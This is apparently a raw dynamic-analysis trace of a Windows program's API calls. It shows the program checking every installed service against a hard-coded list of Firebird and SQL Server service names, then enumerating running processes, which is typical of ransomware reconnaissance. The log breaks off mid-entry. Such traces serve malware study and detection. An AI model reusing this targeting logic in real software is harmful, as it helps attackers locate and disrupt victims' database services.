[0160.808] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0160.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0160.808] lstrlenW (lpString="CDPSvc") returned 6 [0160.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0160.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0160.808] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0160.808] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0160.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0160.808] lstrlenW (lpString="ClickToRunSvc") returned 13 [0160.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0160.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0160.809] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0160.809] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0160.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0160.809] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0160.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0160.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0160.809] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0160.809] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0160.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0160.809] lstrlenW (lpString="CryptSvc") returned 8 [0160.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0160.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0160.809] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0160.809] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0160.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0160.809] lstrlenW (lpString="DcomLaunch") returned 10 [0160.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.809] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0160.809] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0160.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0160.809] lstrlenW (lpString="DeviceAssociationService") returned 24 [0160.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0160.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0160.809] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0160.809] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0160.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0160.809] lstrlenW (lpString="Dhcp") returned 4 [0160.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0160.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0160.809] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0160.809] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0160.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0160.809] lstrlenW (lpString="Dnscache") returned 8 [0160.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0160.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0160.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0160.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0160.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0160.810] lstrlenW (lpString="DPS") returned 3 [0160.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0160.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0160.810] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0160.810] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0160.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0160.810] lstrlenW (lpString="DusmSvc") returned 7 [0160.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0160.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0160.810] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0160.810] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0160.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0160.810] lstrlenW (lpString="EventLog") returned 8 [0160.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0160.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0160.810] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0160.810] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0160.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0160.810] lstrlenW (lpString="EventSystem") returned 11 [0160.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0160.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0160.810] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0160.810] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0160.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0160.810] lstrlenW (lpString="FontCache") returned 9 [0160.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0160.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0160.810] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0160.810] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0160.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0160.810] lstrlenW (lpString="gpsvc") returned 5 [0160.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0160.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0160.811] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0160.811] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0160.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0160.811] lstrlenW (lpString="iphlpsvc") returned 8 [0160.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.811] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0160.811] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0160.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0160.811] lstrlenW (lpString="KeyIso") returned 6 [0160.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0160.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0160.811] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0160.811] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0160.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0160.811] lstrlenW (lpString="LanmanServer") returned 12 [0160.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0160.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0160.811] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0160.811] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0160.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0160.811] lstrlenW (lpString="LanmanWorkstation") returned 17 [0160.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.811] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0160.811] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0160.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0160.811] lstrlenW (lpString="lfsvc") returned 5 [0160.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0160.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0160.811] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0160.811] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0160.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0160.812] lstrlenW (lpString="lmhosts") returned 7 [0160.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0160.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0160.812] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0160.812] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0160.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0160.812] lstrlenW (lpString="LSM") returned 3 [0160.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0160.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0160.812] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0160.812] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0160.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0160.812] lstrlenW (lpString="MpsSvc") returned 6 [0160.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0160.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0160.812] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0160.812] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0160.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0160.812] lstrlenW (lpString="NcbService") returned 10 [0160.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0160.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0160.812] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0160.812] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0160.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0160.812] lstrlenW (lpString="netprofm") returned 8 [0160.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0160.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0160.812] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0160.812] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0160.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0160.812] lstrlenW (lpString="NgcSvc") returned 6 [0160.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0160.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0160.812] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0160.812] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0160.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0160.813] lstrlenW (lpString="NlaSvc") returned 6 [0160.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0160.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0160.813] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0160.813] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0160.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0160.813] lstrlenW (lpString="nsi") returned 3 [0160.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0160.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0160.813] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0160.813] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0160.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0160.813] lstrlenW (lpString="PcaSvc") returned 6 [0160.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0160.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0160.813] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0160.813] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0160.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0160.813] lstrlenW (lpString="PlugPlay") returned 8 [0160.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0160.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0160.813] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0160.813] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0160.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0160.813] lstrlenW (lpString="Power") returned 5 [0160.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0160.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0160.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0160.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0160.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0160.813] lstrlenW (lpString="ProfSvc") returned 7 [0160.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0160.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0160.813] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0160.814] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0160.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0160.814] lstrlenW (lpString="RpcEptMapper") returned 12 [0160.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.814] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0160.814] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0160.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0160.814] lstrlenW (lpString="RpcSs") returned 5 [0160.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0160.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0160.814] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0160.814] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0160.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0160.814] lstrlenW (lpString="SamSs") returned 5 [0160.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0160.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0160.814] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0160.814] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0160.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0160.814] lstrlenW (lpString="Schedule") returned 8 [0160.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0160.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0160.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0160.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0160.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0160.814] lstrlenW (lpString="SecurityHealthService") returned 21 [0160.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0160.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0160.814] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0160.814] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0160.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0160.814] lstrlenW (lpString="SENS") returned 4 [0160.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0160.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0160.815] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0160.815] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0160.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0160.815] lstrlenW (lpString="ShellHWDetection") returned 16 [0160.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.815] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0160.815] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0160.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0160.815] lstrlenW (lpString="Spooler") returned 7 [0160.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0160.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0160.815] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0160.815] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0160.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0160.815] lstrlenW (lpString="StateRepository") returned 15 [0160.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0160.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0160.815] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0160.815] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0160.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0160.815] lstrlenW (lpString="SysMain") returned 7 [0160.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0160.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0160.815] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0160.815] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0160.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0160.815] lstrlenW (lpString="SystemEventsBroker") returned 18 [0160.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0160.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0160.815] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0160.815] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0160.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0160.815] lstrlenW (lpString="Themes") returned 6 [0160.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0160.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0160.816] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0160.816] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0160.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0160.816] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0160.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0160.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0160.816] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0160.816] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0160.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0160.816] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0160.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0160.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0160.816] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0160.816] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0160.816] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4087df8 | out: hHeap=0x420000) returned 1 [0160.816] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x478 [0161.251] Process32FirstW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.251] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0161.251] lstrlenW (lpString="System") returned 6 [0161.252] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0161.252] lstrlenW (lpString="smss.exe") returned 8 [0161.252] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.252] lstrlenW (lpString="csrss.exe") returned 9 [0161.252] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0161.253] lstrlenW (lpString="wininit.exe") returned 11 [0161.253] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.253] lstrlenW (lpString="csrss.exe") returned 9 [0161.253] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0161.254] lstrlenW (lpString="winlogon.exe") returned 12 [0161.254] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0161.254] lstrlenW (lpString="services.exe") returned 12 [0161.254] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0161.254] lstrlenW (lpString="lsass.exe") returned 9 [0161.255] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0161.255] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0161.255] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0161.255] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0161.255] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.256] lstrlenW (lpString="svchost.exe") returned 11 [0161.256] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.256] lstrlenW (lpString="svchost.exe") returned 11 [0161.256] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, 